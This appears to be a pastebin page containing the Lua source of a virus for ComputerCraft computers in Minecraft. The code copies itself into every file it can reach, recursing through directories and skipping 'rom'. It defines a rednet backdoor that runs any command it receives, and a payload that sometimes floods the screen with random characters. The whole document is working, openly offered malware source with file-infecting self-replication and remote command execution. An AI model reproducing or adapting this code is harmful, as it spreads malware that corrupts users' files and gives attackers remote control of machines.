SHOW:
|
|
- or go back to the newest paste.
| 1 | local infected = true | |
| 2 | function infect(file) | |
| 3 | local virusfile = fs.open(shell.getRunningProgram(), "r") | |
| 4 | local viruscode = virusfile.readAll() | |
| 5 | local inFile = fs.open(file, "r") | |
| 6 | local fileCode = inFile.readAll() | |
| 7 | inFile.close() | |
| 8 | virusfile.close() | |
| 9 | if string.match(fileCode, "local infected = true") then | |
| 10 | else | |
| 11 | if file == "key" then | |
| 12 | else | |
| 13 | local infectFile = fs.open(file,"w") | |
| 14 | infectFile.writeLine("local infected = true")
| |
| 15 | infectFile.writeLine(viruscode) | |
| 16 | infectFile.writeLine(fileCode) | |
| 17 | infectFile.close() | |
| 18 | end | |
| 19 | end | |
| 20 | end | |
| 21 | function remoteCommandStart() | |
| 22 | local sides = {"front","back","right","left","top","bottom"}
| |
| 23 | local conn = false | |
| 24 | for i=1,#sides do | |
| 25 | if peripheral.isPresent(sides[i]) and peripheral.getType(sides[i]) == "modem" then | |
| 26 | rednet.open(sides[i]) | |
| 27 | conn = true | |
| 28 | break | |
| 29 | end | |
| 30 | end | |
| 31 | if conn then | |
| 32 | remoteCommand() | |
| 33 | else | |
| 34 | end | |
| 35 | end | |
| 36 | function remoteCommand() | |
| 37 | while true do | |
| 38 | local id,msg = rednet.receive("162857")
| |
| 39 | shell.run(msg) | |
| 40 | rednet.send(id, "Done: "..msg, "162857") | |
| 41 | end | |
| 42 | end | |
| 43 | function payload() | |
| 44 | local a = math.random(1, 10) | |
| 45 | if a == 5 then | |
| 46 | local w,h = term.getSize() | |
| 47 | local payLoadCharacters = {0, 1, "|", "-", "+"}
| |
| 48 | for i=1,50000 do | |
| 49 | term.setCursorPos(math.random(1, w), math.random(1, h)) | |
| 50 | local index = math.random(1, table.getn(payLoadCharacters)) | |
| 51 | write(payLoadCharacters[index]) | |
| 52 | end | |
| 53 | end | |
| 54 | end | |
| 55 | function infectDir(directory) | |
| 56 | shell.setDir(directory) | |
| 57 | local files = fs.list(directory) | |
| 58 | for i=1,#files do | |
| 59 | if fs.isDir(files[i]) then | |
| 60 | if files[i] == "rom" then | |
| 61 | else | |
| 62 | infectDir(shell.dir().."/"..files[i]) | |
| 63 | end | |
| 64 | else | |
| 65 | infect(shell.dir().."/"..files[i]) | |
| 66 | end | |
| 67 | end | |
| 68 | shell.setDir("")
| |
| 69 | end | |
| 70 | infectDir("/")
| |
| 71 | payload() |